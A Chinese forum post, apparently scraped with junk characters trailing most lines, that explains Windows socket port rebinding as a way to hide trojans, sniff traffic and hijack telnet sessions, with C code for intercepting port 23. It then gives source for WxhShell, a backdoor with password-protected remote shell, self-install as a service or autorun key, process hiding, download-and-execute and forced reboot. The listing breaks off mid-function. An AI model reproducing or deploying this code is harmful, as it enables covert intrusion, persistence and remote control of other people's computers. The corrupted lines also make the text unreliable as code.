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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Msvs98LvW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {pi_yr3  
p".wqg*W  
  saddr.sin_family = AF_INET; q%k&O9C2]  
;*K;)C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XU<owk  
h('5x,G%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1LFad>`  
'H`:c+KDG`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w9u|E46  
`tO t+>YWn  
  这意味着什么?意味着可以进行如下的攻击: @lM-+q(tl  
B]hRYU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,;YNI  
3 u=\d)eq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~%tVb c  
(e_p8[x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VxOWv8}|  
gs0 jwI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;L",K?6#  
|j/Y#.k;{0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #N`MzmwS  
1Q^u#m3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nT 4Ryld  
Ht43G_.j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l' Li!u  
' rXf  
  #include N?S;v&q+  
  #include 'G[G;?F  
  #include H{_D#It  
  #include    ~U7Bo(EJp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qoT&N,/  
  int main() hX,RuI  
  { 3y$6}Kp4?  
  WORD wVersionRequested; ]n@T5*=  
  DWORD ret; ?t}s3P!Q3w  
  WSADATA wsaData; zNGUll$  
  BOOL val; =>o !   
  SOCKADDR_IN saddr; v 9G~i  
  SOCKADDR_IN scaddr; a` 9pHH:7Q  
  int err; -#<{3BJTrz  
  SOCKET s; p4\sKF8-  
  SOCKET sc; y] 9/Xr/  
  int caddsize; uDcs2^2l  
  HANDLE mt; D'moy*E  
  DWORD tid;   rkh%[o 9"/  
  wVersionRequested = MAKEWORD( 2, 2 ); .`u8(S+  
  err = WSAStartup( wVersionRequested, &wsaData ); Bk~lM'  
  if ( err != 0 ) { %H_-`A`  
  printf("error!WSAStartup failed!\n"); qfAnMBM1@  
  return -1; vEG7A$Z"  
  } c9@3=6S/  
  saddr.sin_family = AF_INET; }"RVUYU  
   4a!%eBhX"K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SH"<f_  
um<$L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r.u\qPT&  
  saddr.sin_port = htons(23); 2u0B=0x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ETX>wZ  
  { AL&<SxuP  
  printf("error!socket failed!\n"); eC 2~&:$L  
  return -1; sAjUX.c  
  } lpB:lRM  
  val = TRUE; GaJE(N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 VqD_FS;E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f]sR4mhO  
  { RV]QVA*i  
  printf("error!setsockopt failed!\n"); U![$7k>,pr  
  return -1; Dbx zqd  
  } n0K+/}m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J_XkQR[Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B1I{@\z0G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @yQ1F> t  
l7<VHz0b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AU}|o0Ur  
  { 2A*,9S|Y  
  ret=GetLastError(); 4QPHT#eqX  
  printf("error!bind failed!\n"); >#;_Ebl@  
  return -1; 2w~Vb0  
  } 8"LM:0x  
  listen(s,2); <JXHg, Q  
  while(1) &{#6Z  
  { 5yJ~ q  
  caddsize = sizeof(scaddr); J?E!\V&U  
  //接受连接请求 ^%6f%]_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QYj 4D  
  if(sc!=INVALID_SOCKET) sVnq|[ /  
  { W<O/LHKHdn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <Vh5`-J  
  if(mt==NULL) <Nloh+n=  
  { vy7?]}MvV  
  printf("Thread Creat Failed!\n"); 1 K^-tms  
  break; {65Y Tt%  
  } G7GKO  
  } KB^GC5L>  
  CloseHandle(mt); {~#01p5  
  } )Fqtb;W=  
  closesocket(s); _ Fk^lDI-  
  WSACleanup(); F7=\*U  
  return 0; "*c&[ALw  
  }   RZ9_*Lq7+  
  DWORD WINAPI ClientThread(LPVOID lpParam) YXF^4||j.c  
  { >$3 =yw%  
  SOCKET ss = (SOCKET)lpParam; uVX,[%*P  
  SOCKET sc; _S* QIbO  
  unsigned char buf[4096]; uTl"4;&j  
  SOCKADDR_IN saddr; ,Cy&tRjR B  
  long num; m<;MOS  
  DWORD val; ulEtZ#O{_  
  DWORD ret; 3+ C;zDKa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VVuNU"-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f*m^x7  
  saddr.sin_family = AF_INET; I;<__  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l;h -`( 11  
  saddr.sin_port = htons(23); :2b*E`+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xp6Z<Z&N  
  { =8]Ru(#Ig  
  printf("error!socket failed!\n"); ne[H`7c  
  return -1; PKGqu,J,  
  } )1YGWr;ykS  
  val = 100; ;s4e8![o3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a@ ? Bv  
  { HR  
  ret = GetLastError(); ?H{?jJj$H  
  return -1; hA`9[58/  
  } gxVJH'[V5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e9CvdR  
  { wSALK)T1{  
  ret = GetLastError(); _jVJkg)]  
  return -1; ;ae6h [  
  } ep l1xfr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O "Aeg|  
  { S4E@wLi  
  printf("error!socket connect failed!\n"); @}%kSn5y:  
  closesocket(sc); Vrp]YR L`  
  closesocket(ss); D [v225  
  return -1; J|z' <W  
  } x;4m@)Mu  
  while(1) %yR 80mn8  
  { YR)^F|G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :X1Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #TgP:t]p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +\vN#xDz  
  num = recv(ss,buf,4096,0); $ Fy)+<  
  if(num>0) Sx_j`Cgy  
  send(sc,buf,num,0); n@oSLo`k,`  
  else if(num==0)  |>Pv2  
  break; Z#GR)jb+  
  num = recv(sc,buf,4096,0); \x_$Pu  
  if(num>0) mm | *  
  send(ss,buf,num,0); ])zpx-  
  else if(num==0) ]go.IfH  
  break; LH~ t5  
  } iZ(p]0aP7  
  closesocket(ss); 1u* (=!  
  closesocket(sc); H_l>L9/\  
  return 0 ; E_xk8X~  
  } 5YiBPB")  
|A H@W#7j  
?xE'i[F @  
========================================================== GlT/JZ9  
XpT})AV  
下边附上一个代码,,WXhSHELL a7]Z_Gk  
 sJ_3tjs)  
========================================================== kPnuU!  
~}G#ys\1  
#include "stdafx.h" 6x@]b>W  
368H6 Jj  
#include <stdio.h> s%N6^}N  
#include <string.h> gdqED}v  
#include <windows.h> k{\a_e`  
#include <winsock2.h> $bk_%R}s  
#include <winsvc.h> A&Q!W)=  
#include <urlmon.h> Ez>!%Hpn\  
&{x`K4N  
#pragma comment (lib, "Ws2_32.lib") u3PM 7z!~  
#pragma comment (lib, "urlmon.lib") (j}edRUnB  
,^T0!k$  
#define MAX_USER   100 // 最大客户端连接数 L%.=Sb mS  
#define BUF_SOCK   200 // sock buffer OJLyqncw  
#define KEY_BUFF   255 // 输入 buffer A+hT2Ew@t}  
&([Gc+"5E.  
#define REBOOT     0   // 重启 fp"GdkO#}i  
#define SHUTDOWN   1   // 关机 R1:7]z0B  
DEenvS`,P  
#define DEF_PORT   5000 // 监听端口 y$?O0S%F  
t3.I ` Z  
#define REG_LEN     16   // 注册表键长度 V##TG0  
#define SVC_LEN     80   // NT服务名长度 * \ tR  
N)YoWA>#bF  
// 从dll定义API 2u} ns8wn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^cojETOv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /5:qS\Zl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S`[r]msw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); []H0{a2{<  
z|N*Gs>,  
// wxhshell配置信息 CDFkH  
struct WSCFG { ;BEX|w xn  
  int ws_port;         // 监听端口 CWE^:kr6  
  char ws_passstr[REG_LEN]; // 口令 \H/}| ^+@  
  int ws_autoins;       // 安装标记, 1=yes 0=no ${7s"IX  
  char ws_regname[REG_LEN]; // 注册表键名 ">R`S<W  
  char ws_svcname[REG_LEN]; // 服务名 '/F~vSQsR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ??Dv\yLZI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8j@ADfZ9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GF*E+/ ;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HK.Si]:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7+J<N@.d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zXeBUbVi  
'\LU 8VC  
}; UeSPwY  
2ZQ|nwb7  
// default Wxhshell configuration { *Wc`ZBY  
struct WSCFG wscfg={DEF_PORT, S!~p/bB[+I  
    "xuhuanlingzhe", JU-eoB}m  
    1, bg,VK1  
    "Wxhshell", l8N5}!N  
    "Wxhshell", 8EZ,hY^  
            "WxhShell Service", 9CHn6 v ~)  
    "Wrsky Windows CmdShell Service", P6 mDwR  
    "Please Input Your Password: ", 1);E!D[  
  1, G)7J$4R  
  "http://www.wrsky.com/wxhshell.exe", hmtDw,j  
  "Wxhshell.exe" -"n8Wv  
    }; >  ,P,{"  
f.U.(  
// 消息定义模块 7, :l\t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :N:e3$c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?B:],aztf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S L~5[f  
char *msg_ws_ext="\n\rExit."; 8)&J oPN  
char *msg_ws_end="\n\rQuit."; !Y]%U @4}  
char *msg_ws_boot="\n\rReboot..."; ._}Dqg$  
char *msg_ws_poff="\n\rShutdown..."; M0uC0\' #P  
char *msg_ws_down="\n\rSave to "; KKJa?e`C  
~ouRDO  
char *msg_ws_err="\n\rErr!"; lKy4Nry9  
char *msg_ws_ok="\n\rOK!"; U{-[lpd  
c}#(,<8X  
char ExeFile[MAX_PATH]; 8B7,qxZ  
int nUser = 0; ny+_&l^R~(  
HANDLE handles[MAX_USER]; q3Y49d  
int OsIsNt; H AMps[D[  
uGS^*W$  
SERVICE_STATUS       serviceStatus; ~bX ) %jC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;?!pcvUi  
vjXCArS  
// 函数声明 C<iOa)_@Q  
int Install(void); { :_qa|  
int Uninstall(void); A-qpuI;f  
int DownloadFile(char *sURL, SOCKET wsh); W:=CpbwENX  
int Boot(int flag); ZY> u4v.  
void HideProc(void); [$%0[;jtS  
int GetOsVer(void);  2dBjc{  
int Wxhshell(SOCKET wsl); )N]%cO(^  
void TalkWithClient(void *cs); 0Ewt >~n  
int CmdShell(SOCKET sock); [ r=U-  
int StartFromService(void); * uZ'MS  
int StartWxhshell(LPSTR lpCmdLine); L~L]MC&  
M% FKg/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zq"wq[GCN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A/*h[N+2!  
*Ja,3Qq  
// 数据结构和表定义 xT3l>9i  
SERVICE_TABLE_ENTRY DispatchTable[] = Dlu]4n[LB  
{ 7#iT33(3  
{wscfg.ws_svcname, NTServiceMain}, C)qP9uW  
{NULL, NULL} ,DWC=:@X  
}; |:d:uj/  
mi{ r7.e5I  
// 自我安装 jh.e&6  
int Install(void) 1"HSM =p  
{ v`u>; S_  
  char svExeFile[MAX_PATH]; 7)v`l1  
  HKEY key; q e;O Ox  
  strcpy(svExeFile,ExeFile); N`i`[ f  
%c,CfhEV%&  
// 如果是win9x系统,修改注册表设为自启动 55|.MXzq  
if(!OsIsNt) { {_*$X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >{kPa|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~qm u?5  
  RegCloseKey(key); v D4<G{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d9uT*5f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9w,u4q  
  RegCloseKey(key);  Ry iS  
  return 0; 4\EvJg@Z.  
    } pNR69/wGi  
  } &>o?0A6  
} $;%dQ!7*  
else { QCk(qlN'h9  
,4z?9@wQ  
// 如果是NT以上系统,安装为系统服务 f@= lK?Pfh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5mYI5~ p  
if (schSCManager!=0) @IwVR  
{ w*s#=]6  
  SC_HANDLE schService = CreateService #pw=HHq*(  
  ( 2wG4"  
  schSCManager, /Q[M2DN@  
  wscfg.ws_svcname, }]?U. ]-  
  wscfg.ws_svcdisp, C:d$   
  SERVICE_ALL_ACCESS, #NLLl EE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jo8;S?+<|?  
  SERVICE_AUTO_START, $C !Mk  
  SERVICE_ERROR_NORMAL, Eq?d+s>  
  svExeFile, cxQ8/0^  
  NULL, p~THliwd  
  NULL, 6 bnuC  
  NULL, (Eoji7U  
  NULL, g?caE)  
  NULL 0Ku%9wh-  
  ); HR83{B21  
  if (schService!=0) ePJtdKN:  
  { !56gJJ-r  
  CloseServiceHandle(schService); R]{AJ"p  
  CloseServiceHandle(schSCManager); NQ(}rr'.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \V,;F!*#G  
  strcat(svExeFile,wscfg.ws_svcname); )\TI^%s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ku}I; k |  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l6Q75i)eF  
  RegCloseKey(key); NTtRz(   
  return 0; :+>:>$ao  
    } S*1Km&  
  } 2x*C1   
  CloseServiceHandle(schSCManager); MO$ dim>  
} s GP}>w-JZ  
} 1y5$  
Soa5TM  
return 1; B:\TvWbu  
} /8` S}g+  
MrA&xM  
// 自我卸载 grhwPnKl  
int Uninstall(void) 21BlLz  
{ 88ydAx#P  
  HKEY key; sR. ecs+  
IFY,j8~q  
if(!OsIsNt) { pMX#!wb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sm>Hkci%  
  RegDeleteValue(key,wscfg.ws_regname); afMIqQ?  
  RegCloseKey(key); JDzk v%E^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XHlx89v7  
  RegDeleteValue(key,wscfg.ws_regname); +$+'|w  
  RegCloseKey(key); n'#(iW)f  
  return 0; K>`7f]?H*e  
  } E@_M|=p&  
} 4%I(Z'*Cx  
} E0Vl}b  
else { 7^J-5lY3S  
^Q?I8,4}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Ax7k;T  
if (schSCManager!=0) =R^V[zTn_  
{ ?_F,HhQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0F<O \  
  if (schService!=0) &:` 7  
  { ^E7>!Lbvx  
  if(DeleteService(schService)!=0) { "=W7=V8w  
  CloseServiceHandle(schService); 9J?G"JV?  
  CloseServiceHandle(schSCManager); >, &6zj  
  return 0; #mX=Y>l  
  } *S.2p*Vd  
  CloseServiceHandle(schService); P~0d'Oi  
  } 6#k Ap+g7  
  CloseServiceHandle(schSCManager); 4565U  
} Cse@>27s  
} <L__;j1Wx  
4>gMe3]0  
return 1; t p.qh]2c  
} '* +]&~b  
)]%GNdU  
// 从指定url下载文件 k:w\4Oqd  
int DownloadFile(char *sURL, SOCKET wsh) XRI1/2YA  
{ kl|KFdA;  
  HRESULT hr; Iy](?b  
char seps[]= "/"; E$FXs~a  
char *token; &:-`3J-  
char *file; $s hlNW\  
char myURL[MAX_PATH]; zy#E qv  
char myFILE[MAX_PATH]; J|Lk::Ri  
id.o )=  
strcpy(myURL,sURL); 56o?=|  
  token=strtok(myURL,seps); dxkXt  k  
  while(token!=NULL) (iK0T.  
  { ,F J9C3  
    file=token; t?v0ylN  
  token=strtok(NULL,seps); =ot`V; Q>  
  } cmu5KeH  
I,AI$A  
GetCurrentDirectory(MAX_PATH,myFILE); 0X)'8N  
strcat(myFILE, "\\"); sf?D4UdIH  
strcat(myFILE, file); ;1cX|N=  
  send(wsh,myFILE,strlen(myFILE),0); `ge{KB;*n#  
send(wsh,"...",3,0); r! 5C3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CD^_>sya  
  if(hr==S_OK) 79a{Zwdd9j  
return 0; Ah &D5,3  
else QH4nb h4  
return 1; COj50t/  
"0g1'az}  
} &K`[SX=  
F5J=+Q%8[&  
// 系统电源模块 ;G~0 VM2|  
int Boot(int flag) =5LtEgHU  
{ ;P _`4w3  
  HANDLE hToken; /wCeeG,<  
  TOKEN_PRIVILEGES tkp; ?}B9=R$Pi  
@yB!?x  
  if(OsIsNt) { g B<p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Gn;eh~uw;l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); + &b`QcH<  
    tkp.PrivilegeCount = 1; `ivr$b#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m7e$ Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d<qbUk3;  
if(flag==REBOOT) { "aP>}5<h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E+"INX7  
  return 0; @}x)>tqD  
} bsPwTp^  
else { .dp~%!"Sn,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x-Z`^O  
  return 0; :%A1k2  
} C|W_j&S65  
  } X?Omk, '  
  else { FWdSpaas Q  
if(flag==REBOOT) { >9=Y(`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _hMVv&$  
  return 0; H U$:x"AW  
} t_,iV9NrZ  
else { *`);_EVc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t3Q;1#Zf  
  return 0; 9))%tYN  
} !hF b <  
} rP;Fh|w#  
3 T Q#3h  
return 1; Y.i<7pBt  
} KE16BjX@  
; ZL<7tLDb  
// win9x进程隐藏模块 =}r&>|rrJ  
void HideProc(void) %o#D"  
{  X\ \\RCp  
N(}7M~m>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &N*S   
  if ( hKernel != NULL ) ~?-U J^#  
  { {*t'h?b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yi# Nrc5B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y#{KGVT<  
    FreeLibrary(hKernel); ',6QL4qV/  
  } <W/-[ M  
=t&B8+6  
return; *xU^e`P  
}  mbd  
Ps<)?q6(  
// 获取操作系统版本 {)ZbOq2  
int GetOsVer(void) Zu\#;O   
{ x7Ly,  
  OSVERSIONINFO winfo; zmf5!77  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A>OL5TCl  
  GetVersionEx(&winfo); xJ>hN@5}i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c 2?(.UV  
  return 1; 52l|  
  else xYM/{[  
  return 0; ^lRXc.c z  
} x}N+vK   
fPK|Nw]b  
// 客户端句柄模块 &!/L^Y*+  
int Wxhshell(SOCKET wsl) Ax0u \(p<^  
{ !&E>8h  
  SOCKET wsh; cKF02?)TX  
  struct sockaddr_in client; lUCdnp;w'  
  DWORD myID; %~^R Iwm  
9eGM6qW\_  
  while(nUser<MAX_USER) SY<!-g<1F  
{ xfO!v>  
  int nSize=sizeof(client); *qY`MW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N##3k-0Ao  
  if(wsh==INVALID_SOCKET) return 1; Zf]d'oW{/  
TDtk'=;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z ;y2 2  
if(handles[nUser]==0) MZ+8wr/y  
  closesocket(wsh); Gk799SDL  
else CL9p/PJ%e  
  nUser++; evg i\"  
  } z~o%U&DO}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AZl|; y  
%Dsa ~{  
  return 0; V}pw ,2s  
} RS<c&{?  
y"$|?187x  
// 关闭 socket ./5|i*ow  
void CloseIt(SOCKET wsh) wzo-V^+q  
{ X@af[J[cQ  
closesocket(wsh); @%ChPjN  
nUser--; r1ctW#\~8  
ExitThread(0); B`RbXk68q  
} a/_sL(F{  
wvT!NN K2  
// 客户端请求句柄 4w]u: eU  
void TalkWithClient(void *cs) +Z)||MR"  
{ O~fRcf:Q  
,a^_ ~(C  
  SOCKET wsh=(SOCKET)cs; _jU6[y|XLh  
  char pwd[SVC_LEN]; I7BfA,mZ7  
  char cmd[KEY_BUFF]; H0tjN&O_  
char chr[1]; )u\"xxcV  
int i,j; q$b/T+-ec  
HewVwD<C  
  while (nUser < MAX_USER) { Zn #ri 8S  
<po(7XB  
if(wscfg.ws_passstr) { )]>=Uo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Z<{ ~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s'~_pP  
  //ZeroMemory(pwd,KEY_BUFF); 2c8,H29  
      i=0; z %+?\.oH  
  while(i<SVC_LEN) { lOd[8|/  
)F4er '  
  // 设置超时 T{sw{E*  
  fd_set FdRead; *|euC"5c  
  struct timeval TimeOut; (X>r_4W$  
  FD_ZERO(&FdRead); ms;Lu- UR  
  FD_SET(wsh,&FdRead); :8Q6=K87  
  TimeOut.tv_sec=8; "vU:qwm  
  TimeOut.tv_usec=0; cQ3Dk<GZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "~d)$]+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "-ZuH   
3eI:$1"Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l4;/[Q>Z  
  pwd=chr[0]; sHQe0"Eo  
  if(chr[0]==0xd || chr[0]==0xa) { r^*,eF  
  pwd=0; {_^sR}%]F  
  break; hs<7(+a  
  } n2(~r 'r)  
  i++; mqq~&nI  
    } 8.Y6r  
a}jaxGy  
  // 如果是非法用户,关闭 socket 7F|T5[*l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0p Lb<&  
} #Y`U8n2F  
PJA 1/"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c/T]=S[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z33w A?9  
?F?!QrL  
while(1) { ua4QtDSs  
Q CfA3*  
  ZeroMemory(cmd,KEY_BUFF); $G*$j!  
##k== 'dR  
      // 自动支持客户端 telnet标准   N<N!it  
  j=0; n]9y Cr  
  while(j<KEY_BUFF) { J,{sRb%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'ky'GzX,  
  cmd[j]=chr[0]; w? !@fu  
  if(chr[0]==0xa || chr[0]==0xd) { *QjFrw3  
  cmd[j]=0; Q^fli"_ :  
  break; (]mN09uE  
  } O^U{I?gQ  
  j++; wk8XD(&  
    } ~(I\O?k>H  
BszkQ>#6  
  // 下载文件 3TtnLay.k  
  if(strstr(cmd,"http://")) { #<v3G)|aS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *]x]U >EF  
  if(DownloadFile(cmd,wsh)) Ae`K 9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gtCd#t'(V  
  else v C><N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SwSBQq%h]M  
  } h7*fjw-Xz[  
  else { g%9I+(?t  
HlI*an  
    switch(cmd[0]) { c1MALgK~}\  
  RE *UIh*O  
  // 帮助 9O@ eJ$  
  case '?': { O]^E%;(]}i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (hd2&mSy  
    break; 9.1%T06$  
  } fS!%qr  
  // 安装 #\t?`\L3  
  case 'i': { %G\rL.H|  
    if(Install()) 6I_W4`<VeZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dk{yx(Ty  
    else ->K*r\T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4V<s"  
    break; `+]4C+w  
    } rC/m}`b  
  // 卸载 FeSe^^dW  
  case 'r': { M@s2T|bQw  
    if(Uninstall()) L F Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +XFF@h&=t  
    else &IOChQ`8P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :[\}Hn=  
    break; 7CM<"pV  
    } Q> @0'y=s  
  // 显示 wxhshell 所在路径 ivw2EEo,  
  case 'p': { }@a_x,O/x}  
    char svExeFile[MAX_PATH]; #.Ft PR  
    strcpy(svExeFile,"\n\r"); f4`=yj*  
      strcat(svExeFile,ExeFile); uN6TV*]:  
        send(wsh,svExeFile,strlen(svExeFile),0); _~5{l_v|I  
    break; 1(rH5z'F  
    } oh#6>|  
  // 重启 `4w0 *;k;  
  case 'b': { #/5jWH7U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I^\YD9~=x  
    if(Boot(REBOOT)) ^aXyho  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F!'b_ gmz  
    else { KQQR"[z&V  
    closesocket(wsh); 1 ljgq]($  
    ExitThread(0); HtmJIH:  
    } [<f\+g2ct  
    break; a.wRJ  
    } mY;Y$fz;xL  
  // 关机 dO rgqz`e  
  case 'd': { [^~Fu9+"  
